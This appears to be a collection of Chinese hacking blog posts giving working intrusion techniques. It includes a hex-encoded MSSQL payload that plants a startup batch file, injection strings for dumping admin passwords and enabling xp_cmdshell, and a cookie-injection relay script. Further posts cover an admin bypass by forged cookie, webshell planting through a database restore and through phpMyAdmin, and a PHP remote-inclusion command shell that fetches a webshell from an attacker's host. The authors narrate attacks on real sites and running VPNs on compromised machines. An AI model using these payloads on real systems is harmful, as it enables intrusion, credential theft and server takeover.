insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--
backup log moweb002 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--
mssql2005手工注入方法
http://www.cnblogs.com/rover/archive/2007/07/22/827082.html
作者:rover
累死朕了,纯手工猜了个站..还是mssql2005..边找资料边爆..整理如下
/**/跟空格的作用一样,有的时候可以过一些过滤
爆库语句,修改红色部分的数字挨个猜出库
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
cookie注入也加速
[转贴的,找不到作者信息了。]
目前世面上大部分防注入程序都没有对cookie注入进行预防,虽然cookie手工注入麻烦了点,但对于有耐性的人来说,还是可以得到后台密码的,如果是MSSQL数据库,那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~,手工方法如下:
比如网址如下http://zzz.com/cplb.asp?id=46,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入http://zzz.com/cplb.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="id="+escape("46 and 1=1")),最后输入http://zzz.com/cplb.asp,这次返回完全正常;可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T],脚本高手啊~~
<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname '存在注入的变量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")
'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的网址
jmref="http://zzz.com/index.asp" '来源地址
jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"
jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok '提交cookie值
.send() '发送数据
postdata=.responsebody '得到返回的二进制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) '转换二进制流
end function
function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
保存为jmdcw.asp,最后可以本机装个IIS或绿色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,从此HACKING的道路更宽广了。。。
也说vpn
[转贴网络文章]
最近肉鸡的大力锐减,3389做事又相对不方便,想想还是VPN比较划算也更不容易被人发现。网上教程无数,不外那几个,包括linzi大大的都有许些问题没有说明白,害我的走不少弯路,,牺牲肉鸡无数下总算琢磨出一些技巧来,不敢私藏,sharing
1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启
至于其他还可能依据的服务,偶也想8通,也许和某个RPC协议相关...一般来说,大概如此
2.过程,给出俩种磨人的方法
1)以上服务全部启动以后,我的电脑--管理工具---路由和远程访问
选择配置路由(以下为操作回忆,具体名称也记不清楚了,懒得副图)
首先,选择说明里带VPN几个字的第3个(什么虚拟私人网络vpn存取和NAT),
下一步 VPN
下一步
区域连接,选对方的(双网卡情况未测试,大家可以自己测试。这里的区域选择,选那个不带IP的,可以自己试下,选对了就可以下一步,否则禁止)
下一步
写IP范围(因为一般服务器是不安装DHCP服务器的),这里如肉鸡IP为211.78.100.24,我们就要写它后面的地址范围,比如211.78.100.25到211.78.100.30,当然,你可以狠心一点写到254去。注意不可以把本身ip包含进去,偶就是包了又包,在这个问题上就折腾一天无果
下一步
选择windows自带验证,不要选那个什么radius加密协议。确定,启动路由
最后
计算机管理,用户那里,把对应用户属性里的拨入选项,选择为允许
或者…………………………………………………………………………………………………………网上教程大多是这个
配置路由
选择最后一项,自由设定,vpn(也可以把NAT加入),开启
在路由和远程访问的服务器状态下面(机器名上点属性/内容),在IP一项里,静态地址中加入拨入的IP段比如211.78.100.25到211.78.100.30
下一步
计算机管理,用户那里,把对应用户属性里的拨入,选择为允许既可
2)在服务里Routing and remote Access默认禁止或者停止的情况下(远程注册表服务为打开)
网络邻居 属性,建立一个新的连接
选择最后一个(设置高级连接,就那个什么串口并口)
接受连接,允许其他电脑连入这台电脑
允许虚拟私人连接(A)
选择拨入的用户
网络属性,这里可以配置tcp/ip协议。比如:211.78.100.25到211.78.100.30
完成……
这个方法是最简单的ing,系偶牺牲无数肉鸡换来的~~
在这有俩个挺郁闷的现象,
如先启动Routing and remote Access,则网络邻居里就自动出现一个“拨入”,是未配置的
如先建立网络邻居的高级连接(就是上面的第2种思路,Routing and remote Access默认禁止)
Routing and remote Access也会自动启动。极个别机器例外,偶也解释不了
注意,配置了2)就不可以再配置1) ,默认禁止,提示网卡什么card已启动
同样配置1)以后2)也不可以再配置,否则会自动跳到路由和远程访问那里
…………………………………………………………………………………………………………………………
最后,本地建立VPN的client,这个简单的很啦。网络邻居属性,新建拨号连接,选择VPN,依次下一步即可。
关于新建的VPN拨入以后不能上网问题(也许可以ping通,但是打不开网页的)
肯定是DNS那里的问题啦。
复杂点
可以上肉鸡里配置肉鸡本地网卡的网关和DNS,或者cmd下打命令
route print
route add ....来调试
简单点
在本地已拨成功的虚拟专用网络的VPN的那个属性上
选择:网络--inter协议tcp/ip属性---高级,把那个在远程网络上使用默认网关的对号勾掉,重新连接。
ok~~~~~~
客隆购物网站管理系统漏洞
今天看到一个购物网站,随手猜测了一个后台admin,发现真有这个后台,并且是直接进后台,然后验证了什么后才跳回到admin.asp这个管理员登陆叶面。由于闪的非常的快,并没有看清闪回admin.asp之前是什么内容,所以抓包看了下,发现闪回之前的叶面真是非常的有意思,物理路径什么的都出来了。再看下cookie,发现里面有个buyok%5Fuser很有个性,所以在百度搜索了下,希望可以找到他用的什么牌子的原程序就好了。
运气不错哦,发现他使用的是客隆购物网站管理系统,竟然还是商业软件,他声称这个系统非常的安全,下载了个破解的后发现后台验证是cookie不是session验证,这样就有搞头了。
用可以修改cookie的浏览器,把cookie定为:ASPSESSIONIDASRTBCRD=GGAAEMICFCLPGAGGEILFGGGN; buyok=ad=211%2E43%2Exxx%2Exx&admin=admin&temp=login; buyok%5Fuser%5Fip=211%2E43%2Exxx%2Exx; flux_stat_user=0.17111800 1188373058503316591
上面的ip地址是自己的ip。
然后访问admin文件夹,直接进去了。
下面是得到shell的方法了。
看safe5.asp,首先是备份数据库,抓包,得到数据库的地址,可惜,数据库加了防下载语句,插库是不可能了。备份完后,得到备份后的数据库:shopbackup.mdb,下载之。
然后点那个删除,删除这个备份得来的数据库:shopbackup.mdb。
然后点上传,把自己的asp的木马改名为muma.mdb,上传上去为shopbackup.mdb
然后点恢复,会把上传上去的shopbackup.mdb恢复为数据库xxx.asp。
成功的得到一个webshell了。
但是原来网站的数据库被替换后,网站跨了,赶快把下载下来的shopbackup.mdb上传上去,再恢复下,OK了,嘿嘿。
九天智能建站V5.2小漏洞两个
一是注入漏洞,newshow.asp的id参数存在注入漏洞,可以猜解出member表,得到用户账号密码。
二是上传漏洞,在资源管理那里可以抓包后上传asp文件。
不要误导我们这些菜鸟好不好
今天在网上找到一个DNS RPC Exploit,准备编译的时候,发现里面提示缺少dnsxpl.h这个头文件,奇怪了,google下,发现原来是另一种编译方法,是makefile生成文件的。
继续google,“在VC里如何用Makefile文件编译”,看到很多篇编译心得,都是讲的一个办法,原来是互相的抄来抄去,这里我把那个办法写出来:
奇怪的目录设置
今天搞站碰到了一个aspx站点,简单浏览了下,心下一喜,发现了一个注入点,aspx的站点发现一个数字型注入漏洞,真不容易啊,以前都是挖掘搜索型漏洞。nbsi跑了下,sa权限,可惜了,错误提示关闭了,看来treelist得到web物理路径是不可能了。
用DataThiefV1.0跑表名和字段,填入以前的mssql肉鸡的sa和pass,然后自己用sqltools.exe连接上以前的mssql肉鸡,netstat -an |find "1433"得到了这个aspx站点的ip,看来web和mssql没有分离,也算是个好消息吧。同时用superscan扫了下,1433和3389都没有开放。得不到站点的物理路径,就不用说备份得到shell这个方法了。
看来只有跑到管理员的账号密码来登陆web后台,然后找漏洞上传文件来上传aspx或asp的webshell了。
DataThief跑出来管理账号和密码,奇怪的是密码是35位的加密方式,破解?无从下手了,猜解到后台登陆叶面是admin/admin_login.aspx,然后填入管理账号admin,密码admin888,登陆失败,接着试验,密码填入123456,靠,进来了。。。这种强度的密码干吗要搞那么莫名其妙的加密方式。。。
找到上传的地方,直接上传asp文件,真tmd运气好,上传成功了。路径是upfile/xxxxxxxxxxx.asp,访问下,404,头蒙蒙的。。难道是被杀了?接着换个aspshell,上传,接着显示上传成功,再访问,还是404。。。
接着再测试,上传aspx的webshell,可以访问了,但是那个目录解释aspx文件出错,日了,无聊的看着屏幕。。。
仔细看了下,虽然aspx那个webshell没有解释成功,但是,但是,下面却爆出了物理路径,嘿嘿,绕了一圈,还是回到通过物理路径来得到webshell了。既然是sa权限,那就简单多了,先习惯性的用nbsi来恢复下cmdshell,然后echo个test.txt进upfile目录,来测试下,物理路径是不是正确的,upfile/test.txt访问正常,看来是正确的了。接着写个小马.asp进去,可是照样返回404,看来那个目录是不能执行asp文件了,接着写小马到web的跟目录,还是404,日了,看来有点棘手,用nbsi来上传个aspx的shell到跟目录,成功执行了,乐呵呵的收工。明天再进去看他的服务器到底是怎么设置的。
两天时间,能做什么?
无聊的时间,闲着在看一个站点,php的,不知道用的什么程序,发现了一个注入点,添加'后直接爆出了物理路径
看来是有戏了,看了下common.inc文件,得到了dbuser,dbname和dbpass,连接3306失败,看来不允许外连。没办法,想了想,按照老思路来用casi来跑原代码,跑了一天,一个文件跑完了,看了看,貌似没有看出来远程包含漏洞。又跑了另一个文件的原代码,跑了一半就放弃了,朋友喊着出去喝酒。。一天就这么过去了。
第二天,接着搞,想了又想,在url后面输入phpmyadmin碰下运气,不错,真tmd点幸,有这个文件目录,但是没有返回那个要求输入dbname和dbpass的框,直接返回:对不起,你无权进入此页!
有点晕,看来phpmyadmin不允许外部管理?baidu了很多文章,又看了半天,看的头更晕了。不管了,回来在phpmyadmin后面输入phpinfo.php,结果这下弹出来框,输入了dbname和dbpass后终于顺利的看到了phpinfo.php的内容,接着试验,把phpinfo.php换成main.php,哈,进来了,然后接着baidu,找了下phpmyadmin后台怎么得到webshell,文章不少,照着文章内容,终于得到了一个webshell。
日,两天能做什么,我就能做这么多。。。随想了下,其实那个站如果思路正确的话,不出10分钟就可以得到一个webshell,那个服务器用的ftp还是serv-u 4.0版本的,可能动作快的话,2分钟就可以得到administrator的密码。
思路真的很重要。第一次搞apache+php+win32的服务器,就这么结束了,笨笨傻傻的结束了。
phpMyAdmin 后台拿webshell
[转贴的]
1.如何拿到登陆密码. 自己想办法
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
CREATE TABLE a (cmd text NOT NULL);
INSERT INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
DROP TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell
邪恶的空格-PHP本地文件包含漏洞的新突破口!
关于php包含Apache日志的随想
PHP程序包含文件漏洞的详解
[找不到原著作者信息,声明下,是转载的。]
首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。几乎所有的cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。
一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕
include() && require()语句:包括并运行指定文件。
这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
详细参考:http://www.phpe.net/manual/function.include.php
require_once() && include_once()
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
详细参考:http://www.phpe.net/manual/function.require-once.php
二、为什么要包含文件
程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
很正常的一段PHP代码,它是怎么运作的呢?这里面涉及到$_GET的意义,我就不打算讲了(要不又能写篇HTTP的文章了),如果你还不了解GET,POST,等,那么你需要再Google一些相关的资料好好补一补了。
上面这段代码的使用格式可能是这样的:http://www.1steam.cn/php/index.php?page=main.php或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码,简单说下怎么运作的:
1.提交上面这个URL,在index.php中就取得这个page的值($_GET[page])。
2.判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3.若$_GET[page]空的话就执行else,来include home.php 这个文件。
三、为什么会产生漏洞
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3
注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
四、怎么利用
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:
1.包含读出目标机上其它文件
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件,也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。
2.包含可运行的PHP木马
如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂),如下保存为cmd.txt(后缀不重要,只要内容为PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)
ini_set("max_execution_time",0); //设定针对这个文件的执行时间,0为不限制.
echo "
1.S.T
"; //打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]); //运行cmd指定的命令
echo "
1.S.T
"; //打印的返回的结束行提示信息
?>
以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:
Quote:
ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
id whoami 查看当前用户
wget 下载指定URL的文件
等等其它的,你主机去BAIDU找吧,就不列举了。
上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵)
3.包含一个创建文件的PHP文件
也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:
1)使用wget之类的命令来下载一个Webshell
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output-document=FILE,把文档写到FILE文件中) 就可以了,呵呵。
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果当前目录可写,就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写,还需要想其它的办法。
2)使用文件来创建
前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
$f=file_get_contents("http://www.1ster.cn/1stphp.txt"); //打开指定路径的文件流
$ff=fopen("./upload/1st.php","a"); //寻找一个可以的目录,创建一个文件
fwrite ($ff,$f); //把前面打开的文件流写到创建的文件里
fclose($ff); //关闭保存文件
?>
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。
CMD下建立VPN